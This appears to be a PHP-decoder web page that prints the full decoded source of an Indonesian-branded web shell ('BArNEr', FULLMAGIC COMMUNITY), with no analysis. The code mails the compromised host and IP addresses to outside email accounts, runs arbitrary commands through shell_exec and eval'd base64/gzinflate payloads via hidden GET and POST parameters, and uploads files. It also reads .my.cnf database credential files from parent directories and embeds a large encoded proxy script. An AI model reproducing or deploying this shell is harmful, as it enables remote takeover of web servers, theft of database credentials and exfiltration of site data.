Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $code = '7b1sk+JVljj497ZMf4eY3DLLKov+SFUcETA9NTZcAmQjgRD0tKUhCYRACAW3GJvvvu+561Mi..
Decoded Output download
error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
$uname
IP Server = $serper
IP Injector= $injektor");
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
$uname
IP Server = $serper
IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
if(isset($_GET['cp'])){
eval(gzinflate(base64_decode('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')));
}
if(isset($_GET['scam'])){
eval(gzinflate(base64_decode('dVFfa8IwHHwX/A4hFFTQOBUd1DkUzFCws2urL05KbLO2rk1K00727Ze0FXRseUru7vfnLs2GdqEnMAOaa2Nrj60DXDmO6a62tgOP02ZDi9j5jrbw2w7bjruz1rUglXxAc8q+2pI1tg52F8ulBTuKTagQJKAAzQDECYlisPD9TIJABxBprikHHVqFoBkjCW0dEXxn8HehSYS48My/q0lr8J+atVmpo/RP2vZIYqpHmOep3u+rGEqvPXkqvawQlPnSHfwo4jghQeQNH+eBcoE8nnQ/C+YVLBgPx/NvEnKuwHKQKE5n6uWq8pXmmAhawiElPs2Egl8ynuigJp9iHoj5YDhRDZ7vpEhFX/mlhpwrw7vxe6OCxtrAvb18RZzpYIAeKo1atg1LI7AL4HU1eb/G0ZmCZqPq1IYb7pG87FDnEtI4RaMADSYjtV1f/uoP')));
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$clobe = $_GET['clone'];
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT'].'/'.$clone;
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF BArNEr";}
else {$security= "SAFE_MODE : ON BArNEr";}
if(isset($_GET['config'])){
$con = file_get_contents("../.my.cnf");
echo $con;
$confx = file_get_contents("../../.my.cnf");
echo $confx;
$conf = file_get_contents("../../../.my.cnf");
echo $conf;
$conf2 = file_get_contents("../../../../.my.cnf");
echo $conf2;
$conf3 = file_get_contents("../../../../../.my.cnf");
echo $conf3;
}
echo "<title>BArNEr</title><br>";
$dataku = "POWERED BY FULLMAGIC COMMUNITY";
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER";
$dataku3 = "Contact Admin YM : KUNCUNG525";
echo "<font size=2 color=blue><b>".$dataku."</b><br>";
echo "<font size=2 color=red><b>".$dataku2."</b><br>";
echo "<font size=2 color=blue><b>".$dataku3."</b><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=blue><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
if(isset($_GET['sempak121'])){
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="sh"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! ";
}
}
}
if(isset($_POST['command'])){
$sh = $_POST['sh'];
echo "<pre><font size=3 color=red>".shell_exec($sh)."</font></pre>";
}
elseif(isset($_GET['shxxx121'])){
$comd = $_GET['shxxx121'];
echo "<pre><font size=3 color=red>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=red>".shell_exec('ls -la')."</font></pre>";
}
if(isset($_GET['bps'])){
$bypass = $_GET['bps'];
$by2 = "PD9waHANCiRfY29uZmlnICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAndXJsX3Zhcl9uYW1lJyAgICAgICAgICAgICA9PiAncScsDQogICAgICAgICAgICAgICAgICAgICAgICAnZmxhZ3NfdmFyX25hbWUnICAgICAgICAgICA9PiAnaGwnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2dldF9mb3JtX25hbWUnICAgICAgICAgICAgPT4gJ19fX19wZ2ZhJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdiYXNpY19hdXRoX3Zhcl9uYW1lJyAgICAgID0+ICdfX19fcGJhdm4nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ21heF9maWxlX3NpemUnICAgICAgICAgICAgPT4gLTEsDQogICAgICAgICAgICAgICAgICAgICAgICAnYWxsb3dfaG90bGlua2luZycgICAgICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Vwb25faG90bGluaycgICAgICAgICAgICAgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb21wcmVzc19vdXRwdXQnICAgICAgICAgID0+IDANCiAgICAgICAgICAgICAgICAgICAgKTsNCiRfZmxhZ3MgICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5jbHVkZV9mb3JtJyAgICA9PiAxLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdyZW1vdmVfc2NyaXB0cycgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnYWNjZXB0X2Nvb2tpZXMnICA9PiAxLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfaW1hZ2VzJyAgICAgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzaG93X3JlZmVyZXInICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAncm90YXRlMTMnICAgICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NF9lbmNvZGUnICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF9tZXRhJyAgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RyaXBfdGl0bGUnICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nlc3Npb25fY29va2llcycgPT4gMA0KICAgICAgICAgICAgICAgICAgICApOw0KJF9mcm96ZW5fZmxhZ3MgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmNsdWRlX2Zvcm0nICAgID0+IDAsIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3JlbW92ZV9zY3JpcHRzJyAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdhY2NlcHRfY29va2llcycgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2hvd19pbWFnZXMnICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfcmVmZXJlcicgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdyb3RhdGUxMycgICAgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnYmFzZTY0X2VuY29kZScgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0cmlwX21ldGEnICAgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF90aXRsZScgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2Vzc2lvbl9jb29raWVzJyA9PiAwDQogICAgICAgICAgICAgICAgICAgICk7ICAgICAgICAgICAgICAgICAgICANCiRfbGFiZWxzICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5jbHVkZV9mb3JtJyAgICA9PiBhcnJheSgnSW5jbHVkZSBGb3JtJywgJ0luY2x1ZGUgbWluaSBVUkwtZm9ybSBvbiBldmVyeSBwYWdlJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3JlbW92ZV9zY3JpcHRzJyAgPT4gYXJyYXkoJ1JlbW92ZSBTY3JpcHRzJywgJ1JlbW92ZSBjbGllbnQtc2lkZSBzY3JpcHRpbmcgKGkuZSBKYXZhU2NyaXB0KScpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdhY2NlcHRfY29va2llcycgID0+IGFycmF5KCdBY2NlcHQgQ29va2llcycsICdBbGxvdyBjb29raWVzIHRvIGJlIHN0b3JlZCcpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdzaG93X2ltYWdlcycgICAgID0+IGFycmF5KCdTaG93IEltYWdlcycsICdTaG93IGltYWdlcyBvbiBicm93c2VkIHBhZ2VzJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfcmVmZXJlcicgICAgPT4gYXJyYXkoJ1Nob3cgUmVmZXJlcicsICdTaG93IGFjdHVhbCByZWZlcnJpbmcgV2Vic2l0ZScpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdyb3RhdGUxMycgICAgICAgID0+IGFycmF5KCdSb3RhdGUxMycsICdVc2UgUk9UMTMgZW5jb2Rpbmcgb24gdGhlIGFkZHJlc3MnKSwgDQogICAgICAgICAgICAgICAgICAgICAgICAnYmFzZTY0X2VuY29kZScgICA9PiBhcnJheSgnQmFzZTY0JywgJ1VzZSBiYXNlNjQgZW5jb2RuZyBvbiB0aGUgYWRkcmVzcycpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF9tZXRhJyAgICAgID0+IGFycmF5KCdTdHJpcCBNZXRhJywgJ1N0cmlwIG1ldGEgaW5mb3JtYXRpb24gdGFncyBmcm9tIHBhZ2VzJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0cmlwX3RpdGxlJyAgICAgPT4gYXJyYXkoJ1N0cmlwIFRpdGxlJywgJ1N0cmlwIHBhZ2UgdGl0bGUnKSwgDQogICAgICAgICAgICAgICAgICAgICAgICAnc2Vzc2lvbl9jb29raWVzJyA9PiBhcnJheSgnU2Vzc2lvbiBDb29raWVzJywgJ1N0b3JlIGNvb2tpZXMgZm9yIHRoaXMgc2Vzc2lvbiBvbmx5JykgDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIA0KJF9ob3N0cyAgICAgICAgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICcjXjEyN1wufDE5MlwuMTY4XC58MTBcLnwxNzJcLigxWzYtOV18MlswLTldfDNbMDFdKVwufGxvY2FsaG9zdCNpJw0KICAgICAgICAgICAgICAgICAgICApOw0KJF9ob3RsaW5rX2RvbWFpbnMgICA9IGFycmF5KCk7DQokX2luc2VydCAgICAgICAgICAgID0gYXJyYXkoKTsNCg0KLy8NCi8vIEVORCBDT05GSUdVUkFCTEUgT1BUSU9OUy4gVGhlIHJpZGUgZm9yIHlvdSBlbmRzIGhlcmUuIENsb3NlIHRoZSBmaWxlLg0KLy8NCg0KJF9pZmxhZ3MgICAgICAgICAgICA9ICcnOw0KJF9zeXN0ZW0gICAgICAgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzc2wnICAgICAgICAgID0+IGV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSAmJiB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc0LjMuMCcsICc+PScpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3VwbG9hZHMnICAgICAgPT4gaW5pX2dldCgnZmlsZV91cGxvYWRzJyksDQogICAgICAgICAgICAgICAgICAgICAgICAnZ3ppcCcgICAgICAgICA9PiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJyksDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RyaXBzbGFzaGVzJyA9PiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpDQogICAgICAgICAgICAgICAgICAgICk7DQokX3Byb3hpZnkgICAgICAgICAgID0gYXJyYXkoJ3RleHQvaHRtbCcgPT4gMSwgJ2FwcGxpY2F0aW9uL3htbCt4aHRtbCcgPT4gMSwgJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcgPT4gMSwgJ3RleHQvY3NzJyA9PiAxKTsNCiRfdmVyc2lvbiAgICAgICAgICAgPSAnMC41YjInOw0KJF9odHRwX2hvc3QgICAgICAgICA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gOiAnbG9jYWxob3N0Jyk7DQokX3NjcmlwdF91cmwgICAgICAgID0gJ2h0dHAnIC4gKChpc3NldCgkX0VOVlsnSFRUUFMnXSkgJiYgJF9FTlZbJ0hUVFBTJ10gPT0gJ29uJykgfHwgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gJ3MnIDogJycpIC4gJzovLycgLiAkX2h0dHBfaG9zdCAuICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSAhPSA4MCAmJiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSAhPSA0NDMgPyAnOicgLiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA6ICcnKSAuICRfU0VSVkVSWydQSFBfU0VMRiddOw0KJF9zY3JpcHRfYmFzZSAgICAgICA9IHN1YnN0cigkX3NjcmlwdF91cmwsIDAsIHN0cnJwb3MoJF9zY3JpcHRfdXJsLCAnLycpKzEpOw0KJF91cmwgICAgICAgICAgICAgICA9ICcnOw0KJF91cmxfcGFydHMgICAgICAgICA9IGFycmF5KCk7DQokX2Jhc2UgICAgICAgICAgICAgID0gYXJyYXkoKTsNCiRfc29ja2V0ICAgICAgICAgICAgPSBudWxsOw0KJF9yZXF1ZXN0X21ldGhvZCAgICA9ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddOw0KJF9yZXF1ZXN0X2hlYWRlcnMgICA9ICcnOw0KJF9jb29raWUgICAgICAgICAgICA9ICcnOw0KJF9wb3N0X2JvZHkgICAgICAgICA9ICcnOw0KJF9yZXNwb25zZV9oZWFkZXJzICA9IGFycmF5KCk7DQokX3Jlc3BvbnNlX2tleXMgICAgID0gYXJyYXkoKTsgIA0KJF9odHRwX3ZlcnNpb24gICAgICA9ICcnOw0KJF9yZXNwb25zZV9jb2RlICAgICA9IDA7DQokX2NvbnRlbnRfdHlwZSAgICAgID0gJ3RleHQvaHRtbCc7DQokX2NvbnRlbnRfbGVuZ3RoICAgID0gZmFsc2U7DQokX2NvbnRlbnRfZGlzcCAgICAgID0gJyc7DQokX3NldF9jb29raWUgICAgICAgID0gYXJyYXkoKTsNCiRfcmV0cnkgICAgICAgICAgICAgPSBmYWxzZTsNCiRfcXVpdCAgICAgICAgICAgICAgPSBmYWxzZTsNCiRfYmFzaWNfYXV0aF9oZWFkZXIgPSAnJzsNCiRfYmFzaWNfYXV0aF9yZWFsbSAgPSAnJzsNCiRfYXV0aF9jcmVkcyAgICAgICAgPSBhcnJheSgpOw0KJF9yZXNwb25zZV9ib2R5ICAgICA9ICcnOw0KDQovLw0KLy8gRlVOQ1RJT04gREVDTEFSQVRJT05TDQovLw0KDQpmdW5jdGlvbiBzaG93X3JlcG9ydCgkZGF0YSkNCnsgICAgDQogICAgaW5jbHVkZSAkZGF0YVsnd2hpY2gnXSAuICcuaW5jLnBocCc7DQogICAgZXhpdCgwKTsNCn0NCg0KZnVuY3Rpb24gYWRkX2Nvb2tpZSgkbmFtZSwgJHZhbHVlLCAkZXhwaXJlcyA9IDApDQp7DQogICAgcmV0dXJuIHJhd3VybGVuY29kZShyYXd1cmxlbmNvZGUoJG5hbWUpKSAuICc9JyAuIHJhd3VybGVuY29kZShyYXd1cmxlbmNvZGUoJHZhbHVlKSkgLiAoZW1wdHkoJGV4cGlyZXMpID8gJycgOiAnOyBleHBpcmVzPScgLiBnbWRhdGUoJ0QsIGQtTS1ZIEg6aTpzIFxHXE1cVCcsICRleHBpcmVzKSkgLiAnOyBwYXRoPS87IGRvbWFpbj0uJyAuICRHTE9CQUxTWydfaHR0cF9ob3N0J107DQp9DQoNCmZ1bmN0aW9uIHNldF9wb3N0X3ZhcnMoJGFycmF5LCAkcGFyZW50X2tleSA9IG51bGwpDQp7DQogICAgJHRlbXAgPSBhcnJheSgpOw0KDQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrZXkgPT4gJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgJGtleSA9IGlzc2V0KCRwYXJlbnRfa2V5KSA/IHNwcmludGYoJyVzWyVzXScsICRwYXJlbnRfa2V5LCB1cmxlbmNvZGUoJGtleSkpIDogdXJsZW5jb2RlKCRrZXkpOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJHZhbHVlKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXAgPSBhcnJheV9tZXJnZSgkdGVtcCwgc2V0X3Bvc3RfdmFycygkdmFsdWUsICRrZXkpKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wWyRrZXldID0gdXJsZW5jb2RlKCR2YWx1ZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgcmV0dXJuICR0ZW1wOw0KfQ0KDQpmdW5jdGlvbiBzZXRfcG9zdF9maWxlcygkYXJyYXksICRwYXJlbnRfa2V5ID0gbnVsbCkNCnsNCiAgICAkdGVtcCA9IGFycmF5KCk7DQoNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpDQogICAgew0KICAgICAgICAka2V5ID0gaXNzZXQoJHBhcmVudF9rZXkpID8gc3ByaW50ZignJXNbJXNdJywgJHBhcmVudF9rZXksIHVybGVuY29kZSgka2V5KSkgOiB1cmxlbmNvZGUoJGtleSk7DQogICAgICAgIGlmIChpc19hcnJheSgkdmFsdWUpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdGVtcCA9IGFycmF5X21lcmdlX3JlY3Vyc2l2ZSgkdGVtcCwgc2V0X3Bvc3RfZmlsZXMoJHZhbHVlLCAka2V5KSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSBpZiAocHJlZ19tYXRjaCgnI14oW15cW1xdXSspXFsobmFtZXx0eXBlfHRtcF9uYW1lKVxdIycsICRrZXksICRtKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXBbc3RyX3JlcGxhY2UoJG1bMF0sICRtWzFdLCAka2V5KV1bJG1bMl1dID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcmV0dXJuICR0ZW1wOw0KfQ0KDQpmdW5jdGlvbiB1cmxfcGFyc2UoJHVybCwgJiAkY29udGFpbmVyKQ0Kew0KICAgICR0ZW1wID0gQHBhcnNlX3VybCgkdXJsKTsNCg0KICAgIGlmICghZW1wdHkoJHRlbXApKQ0KICAgIHsNCiAgICAgICAgJHRlbXBbJ3BvcnRfZXh0J10gPSAnJzsNCiAgICAgICAgJHRlbXBbJ2Jhc2UnXSAgICAgPSAkdGVtcFsnc2NoZW1lJ10gLiAnOi8vJyAuICR0ZW1wWydob3N0J107DQoNCiAgICAgICAgaWYgKGlzc2V0KCR0ZW1wWydwb3J0J10pKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdGVtcFsnYmFzZSddIC49ICR0ZW1wWydwb3J0X2V4dCddID0gJzonIC4gJHRlbXBbJ3BvcnQnXTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wWydwb3J0J10gPSAkdGVtcFsnc2NoZW1lJ10gPT09ICdodHRwcycgPyA0NDMgOiA4MDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJHRlbXBbJ3BhdGgnXSA9IGlzc2V0KCR0ZW1wWydwYXRoJ10pID8gJHRlbXBbJ3BhdGgnXSA6ICcvJzsNCiAgICAgICAgJHBhdGggICAgICAgICA9IGFycmF5KCk7DQogICAgICAgICR0ZW1wWydwYXRoJ10gPSBleHBsb2RlKCcvJywgJHRlbXBbJ3BhdGgnXSk7DQogICAgDQogICAgICAgIGZvcmVhY2ggKCR0ZW1wWydwYXRoJ10gYXMgJGRpcikNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCRkaXIgPT09ICcuLicpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgYXJyYXlfcG9wKCRwYXRoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UgaWYgKCRkaXIgIT09ICcuJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBmb3IgKCRkaXIgPSByYXd1cmxkZWNvZGUoJGRpciksICRuZXdfZGlyID0gJycsICRpID0gMCwgJGNvdW50X2kgPSBzdHJsZW4oJGRpcik7ICRpIDwgJGNvdW50X2k7ICRuZXdfZGlyIC49IHN0cnNwbigkZGlyeyRpfSwgJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5JC1fLishKlwnKCksPzpAJjs9JykgPyAkZGlyeyRpfSA6IHJhd3VybGVuY29kZSgkZGlyeyRpfSksICsrJGkpOw0KICAgICAgICAgICAgICAgICRwYXRoW10gPSAkbmV3X2RpcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICR0ZW1wWydwYXRoJ10gICAgID0gc3RyX3JlcGxhY2UoJy8lN0UnLCAnL34nLCAnLycgLiBsdHJpbShpbXBsb2RlKCcvJywgJHBhdGgpLCAnLycpKTsNCiAgICAgICAgJHRlbXBbJ2ZpbGUnXSAgICAgPSBzdWJzdHIoJHRlbXBbJ3BhdGgnXSwgc3RycnBvcygkdGVtcFsncGF0aCddLCAnLycpKzEpOw0KICAgICAgICAkdGVtcFsnZGlyJ10gICAgICA9IHN1YnN0cigkdGVtcFsncGF0aCddLCAwLCBzdHJycG9zKCR0ZW1wWydwYXRoJ10sICcvJykpOw0KICAgICAgICAkdGVtcFsnYmFzZSddICAgIC49ICR0ZW1wWydkaXInXTsNCiAgICAgICAgJHRlbXBbJ3ByZXZfZGlyJ10gPSBzdWJzdHJfY291bnQoJHRlbXBbJ3BhdGgnXSwgJy8nKSA+IDEgPyBzdWJzdHIoJHRlbXBbJ2Jhc2UnXSwgMCwgc3RycnBvcygkdGVtcFsnYmFzZSddLCAnLycpKzEpIDogJHRlbXBbJ2Jhc2UnXSAuICcvJzsNCiAgICAgICAgJGNvbnRhaW5lciA9ICR0ZW1wOw0KDQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICANCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIGNvbXBsZXRlX3VybCgkdXJsLCAkcHJveGlmeSA9IHRydWUpDQp7DQogICAgJHVybCA9IHRyaW0oJHVybCk7DQogICAgDQogICAgaWYgKCR1cmwgPT09ICcnKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICANCiAgICAkaGFzaF9wb3MgPSBzdHJycG9zKCR1cmwsICcjJyk7DQogICAgJGZyYWdtZW50ID0gJGhhc2hfcG9zICE9PSBmYWxzZSA/ICcjJyAuIHN1YnN0cigkdXJsLCAkaGFzaF9wb3MpIDogJyc7DQogICAgJHNlcF9wb3MgID0gc3RycG9zKCR1cmwsICc6Ly8nKTsNCiAgICANCiAgICBpZiAoJHNlcF9wb3MgPT09IGZhbHNlIHx8ICRzZXBfcG9zID4gNSkNCiAgICB7DQogICAgICAgIHN3aXRjaCAoJHVybHswfSkNCiAgICAgICAgew0KICAgICAgICAgICAgY2FzZSAnLyc6DQogICAgICAgICAgICAgICAgJHVybCA9IHN1YnN0cigkdXJsLCAwLCAyKSA9PT0gJy8vJyA/ICRHTE9CQUxTWydfYmFzZSddWydzY2hlbWUnXSAuICc6JyAuICR1cmwgOiAkR0xPQkFMU1s